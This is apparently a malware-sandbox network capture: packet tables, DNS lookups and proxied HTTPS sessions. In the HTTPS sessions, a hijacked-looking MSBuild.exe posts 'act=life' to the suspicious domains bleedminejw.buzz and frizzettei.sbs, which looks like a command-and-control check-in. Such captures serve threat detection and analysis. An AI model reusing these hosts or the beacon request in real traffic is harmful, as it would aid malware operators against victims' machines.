Oct 7, 2024 06:44:58.429444075 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.429467916 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.429491997 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.429821968 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430141926 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.430152893 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430507898 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.430511951 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430565119 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430581093 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430639029 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.430651903 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430701017 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430748940 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.430766106 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.430766106 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.430774927 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.430783033 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.433134079 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.433159113 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.433223963 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.433342934 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.433351994 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518107891 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518188953 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518194914 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.518229008 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518258095 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.518307924 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.518313885 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518362999 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518405914 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.518476963 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.518495083 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.518506050 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.518511057 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.521043062 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.521075010 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.521259069 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.521311998 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.521317959 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.532243967 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.532306910 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.532366037 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.532378912 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.532442093 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.532553911 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.532553911 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.532553911 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.532553911 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.532574892 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.534611940 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.534653902 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.534727097 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.534837008 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.534852028 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.624073982 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.624680042 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.624703884 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.625041008 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.625046968 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.724941969 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.724966049 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.725016117 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.725054979 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.725083113 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.725332975 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.725353003 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.725361109 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.725367069 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.728292942 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.728388071 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.728487968 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.728662014 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.728698969 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:58.751209974 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:58.751238108 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.034816027 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.035339117 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.035367966 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.035741091 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.035744905 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.068780899 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.069149017 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.069180012 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.069541931 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.069547892 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.135189056 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.135335922 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.135440111 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.135500908 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.135519028 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.135528088 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.135534048 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.138082027 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.138128996 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.138220072 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.138355970 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.138364077 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.157531023 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.157927036 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.157951117 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.158354044 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.158359051 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.168436050 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.168489933 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.168561935 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.168679953 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.168698072 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.168709040 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.168714046 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.170747995 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.170779943 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.170850039 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.171108961 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.171123981 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.180398941 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.180989027 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.181056023 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.181221962 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.181238890 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.256073952 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.256247044 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.256315947 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.256509066 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.256525040 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.256537914 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.256542921 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.258879900 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.258929968 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.259001017 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.259136915 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.259150028 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.280154943 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.280299902 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.280514956 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.280515909 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.280515909 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.282613993 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.282655001 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.282721996 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.282845974 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.282862902 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.363713980 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.364362955 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.364474058 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.364670038 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.364687920 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.462629080 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.463103056 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.463150978 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.463170052 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.463227987 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.463267088 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.463267088 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.463309050 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.463337898 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.594978094 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.595055103 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.783453941 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.783948898 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.783967972 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.784370899 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.784375906 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.830806017 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.831249952 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.831263065 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.831604004 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.831609011 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.882477999 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.883002043 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.883071899 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.883101940 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.883120060 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.883130074 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.883136034 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.899283886 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.899657965 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.899682999 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.900067091 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.900077105 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.934246063 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.934401989 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.934453964 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.934556007 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.934575081 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.934586048 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.934592009 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.964386940 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.964864969 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.964894056 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.965308905 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.965317011 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.998236895 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.998399019 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.998456955 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.998491049 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.998491049 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:59.998509884 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:59.998518944 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 7, 2024 06:45:00.069231987 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:45:00.069428921 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:45:00.069498062 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:45:00.069603920 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:45:00.069633007 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 7, 2024 06:45:00.069645882 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:45:00.069652081 CEST	443	49990	13.107.246.45	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 06:44:02.439080954 CEST	51270	53	192.168.2.5	1.1.1.1
Oct 7, 2024 06:44:02.451457024 CEST	53	51270	1.1.1.1	192.168.2.5
Oct 7, 2024 06:44:04.906779051 CEST	51620	53	192.168.2.5	1.1.1.1
Oct 7, 2024 06:44:04.920094013 CEST	53	51620	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 06:44:02.439080954 CEST	192.168.2.5	1.1.1.1	0xbc22	Standard query (0)	bleedminejw.buzz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:04.906779051 CEST	192.168.2.5	1.1.1.1	0x5df6	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 06:44:02.451457024 CEST	1.1.1.1	192.168.2.5	0xbc22	No error (0)	bleedminejw.buzz		104.21.17.192	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:02.451457024 CEST	1.1.1.1	192.168.2.5	0xbc22	No error (0)	bleedminejw.buzz		172.67.178.50	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:04.920094013 CEST	1.1.1.1	192.168.2.5	0x5df6	No error (0)	frizzettei.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:04.920094013 CEST	1.1.1.1	192.168.2.5	0x5df6	No error (0)	frizzettei.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:13.554126024 CEST	1.1.1.1	192.168.2.5	0xf36b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:44:13.554126024 CEST	1.1.1.1	192.168.2.5	0xf36b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:16.796300888 CEST	1.1.1.1	192.168.2.5	0xe300	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:44:16.796300888 CEST	1.1.1.1	192.168.2.5	0xe300	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bleedminejw.buzz

frizzettei.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.21.17.192	443	5832	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:03 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bleedminejw.buzz
2024-10-07 04:44:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 04:44:04 UTC	768	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=veefjn40rtc56jvmrnp79h7dkj; expires=Thu, 30 Jan 2025 22:30:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kmflgl6eZAilyaMSnnb%2FrLwFWI4EGxmPE4kQnKoZ8cpxQFX%2FXQ5%2Bz10bTVeGkouZdFmdMxIqumZ7gSdY1UQ5GW4IhORzI7QjKfruiqbEZjrz4iiLdaiTOsMY1h6njK%2BTtDkQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3bd71a6942fe-EWR
2024-10-07 04:44:04 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 04:44:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	188.114.97.3	443	5832	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:05 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frizzettei.sbs
2024-10-07 04:44:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 04:44:05 UTC	561	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pfe0lgxEcGu3Dep%2FlFGIQwTzXbGLTkZOw2UdzvJw71nUEVVdjYXilEJzCUDXuu9UnBNjP1JR7DM%2Fo2FwWTE%2FtAGvuwUO0HDzn%2BM%2Bk%2B7ZdXR6%2FS9%2Bha%2BH0TImml8FtSgWoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3be61d2742a5-EWR
2024-10-07 04:44:05 UTC	808	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-07 04:44:05 UTC	1369	IN	Data Raw: 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 Data Ascii: gi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElement
2024-10-07 04:44:05 UTC	1369	IN	Data Raw: 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 5f 34 5a 72 31 42 4a 2e 61 33 79 4d 5f 61 41 30 7a 62 72 30 5a 5f 59 37 43 74 63 5f 65 4f 4a 45 43 4a 72 2e 4c 4d 55 51 35 67 34 2d 31 37 32 38 32 37 36 32 34 35 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 Data Ascii: ain"> <input type="hidden" name="atok" value="_4Zr1BJ.a3yM_aA0zbr0Z_Y7Ctc_eOJECJr.LMUQ5g4-1728276245-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="
